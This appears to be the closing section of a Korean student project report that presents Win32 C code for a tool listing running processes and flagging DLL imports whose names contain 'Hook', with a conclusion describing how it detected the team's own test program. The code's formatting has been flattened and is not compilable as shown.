PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pIAT + j) - dwdelta); wsprintf(arr, L"%S", piibn->name); if (FucList[i][j] == NULL) FucList[i][j] = (TCHAR *)calloc(1, _countof(arr) * sizeof(tchar)); wcscpy_s(fuclist[i][j], _countof(arr), arr); $end:; void OnInitCOL(HWND hlist)// 리스트뷰맨위에그거만드는거 LVCOLUMN COL; ListView_SetExtendedListViewStyle(hList, LVS_EX_FULLROWSELECT LVS_EX_GRIDLINES); COL.mask = LVCF_FMT LVCF_WIDTH LVCF_TEXT LVCF_SUBITEM COL.fmt = LVCFMT_LEFT COL.cx = 225; COL.pszText = TEXT(" 프로세스이름 "); COL.iSubItem = 0; ListView_InsertColumn(hList, 0, &COL); COL.cx = 225; COL.pszText = TEXT("PID"); COL.iSubItem = 1; ListView_InsertColumn(hList, 1, &COL); void GetProcess(HWND *hlist)// 프로세스이름가져오는함수, 리스트뷰에삽입 if (PIDsize!= 0) SendMessage(*hList, LVM_DELETEALLITEMS, 0, 0); LVITEM LI; HANDLE hsnap; PROCESSENTRY32 pe; TCHAR processname[128];// 프로세스이름저장변수 TCHAR processid[128];// 프로세스아이디저장변수 int i = 0;

hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hsnap == (HANDLE)-1) return pe.dwsize = sizeof(processentry32); if (Process32First(hSnap, &pe)) do wsprintf(processname, TEXT("%s"), pe.szexefile);// 프로세스이름저장하기 wsprintf(processid, TEXT("%d"), pe.th32processid); // 프로세스아이디저장하기 LI.mask = LVIF_TEXT LI.iItem = i; // 행 ( 전체화면- 캡션포함 ) LI.iSubItem = 0; // 열 LI.pszText = processname; // 문자열값 if (Pname[i] == NULL) Pname[i] = (TCHAR *)calloc(1, sizeof(pe.szexefile)); wcscpy_s(pname[i], _countof(pe.szexefile), pe.szexefile); PID[i] = pe.th32processid; ListView_InsertItem(*hList, &LI); ListView_SetItemText(*hList, i, 1, processid); i++; while (Process32Next(hSnap, &pe)); PIDsize = i; CloseHandle(hSnap); void OnPaint(HDC hdc, const wchar_t* name, int high, int weigt)// 로고박는거 Graphics G(hdc); Image image(name); G.DrawImage(&image, high, weigt); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam)// 도움말 switch (imessage) case WM_INITDIALOG: return TRUE case WM_COMMAND:

switch (LOWORD(wParam)) case IDOK: EndDialog(hDlg, IDOK); return TRUE case IDCANCEL: EndDialog(hDlg, IDCANCEL); return TRUE break return FALSE BOOL CALLBACK DetailDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam)// 자세히보기 HBRUSH OldBrush, ColorBrush; LPDRAWITEMSTRUCT lpdis; static HBRUSH hbrush; int index = 0; switch (imessage) case WM_INITDIALOG: hbrush = CreateSolidBrush(RGB(255, 255, 255)); return TRUE case WM_CTLCOLORDLG: return (INT_PTR)hBrush; case WM_DRAWITEM: COLORREF colorbk, colortext; lpdis = (LPDRAWITEMSTRUCT)lParam LIST_ITEM_INFO *pdata = (LIST_ITEM_INFO*)lpdis->itemData; if (lpdis->itemstate & ODS_SELECTED) colorbk = (COLORREF)RGB(51,153,255); colortext = (COLORREF)RGB(255,255,255); else colorbk = (COLORREF)pData->colorBK; colortext = (COLORREF)pData->colorText;

ColorBrush = CreateSolidBrush(colorBK); // 이전브러쉬저장하고, 생성한브러쉬를선택 OldBrush = (HBRUSH)SelectObject(lpdis->hDC, ColorBrush); // 채움속성의사각형을출력 FillRect(lpdis->hDC, &lpdis->rcitem, ColorBrush); // 이전브러쉬를선택 SelectObject(lpdis->hDC, OldBrush); // 생성한브러쉬를제거 DeleteObject(ColorBrush); SetTextColor(lpdis->hDC, colortext); SetBkMode(lpdis->hDC, TRANSPARENT); DrawText(lpdis->hDC, pdata->str, -1, &lpdis->rcitem, DT_LEFT DT_VCENTER DT_WORDBREAK DT_SINGLELINE); return TRUE case WM_CTLCOLORSTATIC: SetTextColor((HDC)wParam, RGB(0, 0, 0 )); SetBkMode((HDC)wParam, TRANSPARENT); return (LRESULT)GetStockObject(NULL_BRUSH); case WM_COMMAND: switch (LOWORD(wParam)) case IDOK: EndDialog(hDlg, IDOK); return TRUE case IDCANCEL: EndDialog(hDlg, IDCANCEL); return TRUE case IDC_DLLBOX: switch (HIWORD(wParam)) case LBN_SELCHANGE: int i; bool check = FALSE SendMessage(Detail2, LB_RESETCONTENT, 0, 0); index = SendMessage(Detail1, LB_GETCURSEL, 0, 0); for (i = 0; i < 128; i++) TCHAR arrw[128] = 0, ;

if (FucList[index][i]!= 0) olistitem[i].colorbk = RGB(255, 255, 255); olistitem[i].colortext = RGB(0, 0, 0); wcscpy_s(olistitem[i].str, _countof(fuclist[index])*sizeof(tchar) + 4, FucList[index][i]); if (wcsstr(fuclist[index][i], TEXT("Hook"))!= NULL) olistitem[i].colortext = RGB(255, 0, 0); check = TRUE SendMessage(Detail2, LB_ADDSTRING, 0, (LPARAM)&olistItem[i]); if (check) MessageBox(hWnd, TEXT("DLL에서후킹이감지되었습니다."), TEXT(" 알림 "), MB_OK); return FALSE LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam) int i; switch (imessage) case WM_CREATE: CreateWindow(TEXT("button"), TEXT(" 시작 "), WS_CHILD WS_VISIBLE BS_PUSHBUTTON, 873, 20, 100, 25, hwnd, (HMENU)0, g_hinst, NULL); hlist = CreateWindowEx(NULL, WC_LISTVIEW, NULL, WS_CHILD WS_VISIBLE WS_BORDER LVS_REPORT LBS_NOTIFY LVS_SINGLESEL LVS_NOSORTHEADER, 10, 50, 470, 200, hwnd, (HMENU)ID_LISTBOX, 0, 0); // 리스트뷰생성 hlist2 = CreateWindowEx(NULL, WC_LISTVIEW, NULL, WS_CHILD WS_VISIBLE WS_BORDER LVS_REPORT LBS_NOTIFY LVS_SINGLESEL LVS_NOSORTHEADER, 505, 50, 470, 200, hwnd, (HMENU)ID_LISTBOX2, 0, 0); // 리스트뷰생성 OnInitCOL(hList); OnInitCOL(hList2); GetProcess(&hList);

for (i = 0; i < PIDsize; i++) GetPath(PID[i]); return 0; case WM_COMMAND: switch (LOWORD(wParam)) case ID_PROGRAMINFO:// 도움말클릭 DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), hwnd, AboutDlgProc); return 0; case ID_REFRESH: memset(pid, 0, sizeof(pid)); memset(base, 0, sizeof(base)); memset(pname, 0, sizeof(pname)); memset(ppath, 0, sizeof(ppath)); GetProcess(&hList); for (i = 0; i < PIDsize; i++) GetPath(PID[i]); return 0; switch (HIWORD(wParam)) case BN_CLICKED:// 버튼클릭 HWND hdig = CreateDialog(g_hInst, MAKEINTRESOURCE(IDD_PROGRESS), hwnd, NULL); SendMessage(GetDlgItem(hDig, IDC_PROGRESS1), PBM_SETRANGE, 0, MAKELPARAM(0, PIDsize - 1)); SendMessage(GetDlgItem(hDig, IDC_PROGRESS1), PBM_SETPOS, 0, 0); for (i = 0; i < PIDsize; i++) IATScanner(Ppath[i], i, &hlist2); SendMessage(GetDlgItem(hDig, IDC_PROGRESS1), PBM_SETPOS, i, 0); Sleep(5); EndDialog(hDig, NULL); return 0; case WM_NOTIFY:

LPNMHDR hdr; LPNMLISTVIEW nlv; hdr = (LPNMHDR)lParam nlv = (LPNMLISTVIEW)lParam if (hdr->hwndfrom == hlist2) switch (hdr->code) case NM_DBLCLK: if (nlv->iitem < 0) return 0; HWND Info = CreateDialog(g_hInst, MAKEINTRESOURCE(IDD_VIEW), hwnd, DetailDlgProc); Detail1 = GetDlgItem(Info, IDC_DLLBOX); Detail2 = GetDlgItem(Info, IDC_FUCBOX); int i; TCHAR arr[255] = 0, ; ListView_GetItemText(hList2, nlv->iitem, 0, arr, 255); for (i = 0; i < PIDsize; i++) if (!wcscmp(pname[i], arr)) break PrintFuc(Ppath[i], i); return 0; case WM_PAINT:// 항상글자출력 PAINTSTRUCT ps; HDC hdc; hdc = BeginPaint(hWnd, &ps); SetBkColor(hdc, RGB(255, 255, 255)); TextOut(hdc, 15, 30, TEXT("Current Running Process"), lstrlen(text("current Running Process"))); TextOut(hdc, 740, 25, TEXT("Hooking Detecting"), lstrlen(text("hooking Detecting"))); TextOut(hdc, 10, 290, TEXT("Copyright(C) 2016 D.N.F All rights reserved"), lstrlen(text("copyright(c) 2016 D.N.F All rights reserved"))); OnPaint(hdc, L"C:\\resource\\logo.png", 810, 263);

OnPaint(hdc, L"C:\\resource\\teamD.png", 650, 267); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); break return DefWindowProc(hWnd, imessage, wparam, lparam); ( 코드 3. IATScanner) 4. 결론 ( 그림 5. 탐지화면 ) 왼쪽 Current Running Process 목록을보게되면현재실행되고있는프로세스목록을볼수가있고오른쪽위에 Hooking Detecting 시작을누르게되면현재실행되고있는모든프로세스에대해서함수이름에 Hook 을사용하고있는지스캔하게된다. 오른쪽프로세스들은사용하고있는함수에 Hook" 을사용하고있는프로세스들이다. 즉의심목록이되겠다. 의심목록에서해당프로세스를더블클릭을하게되면해당프로세스의 DLL들과 DLL에서사용된함수들을볼수있다. 현재우리가만든 D.N.F_Attack이탐지된걸볼수있다.

( 그림.6 Hook Detected) D.N.F_Attack 프로세스를두번클릭하게되면자세히보기창이뜨고여기서다시 "Hook" 이라는함수가포함된다면그림과같이빨간색으로해당함수를표시하게해놓았다. 6. 참고문헌 (1) 위키백과인용 (2) 리버싱핵심원리 - 이승원지음참고 (3) MSDN 참고 7. 발표 ppt 자료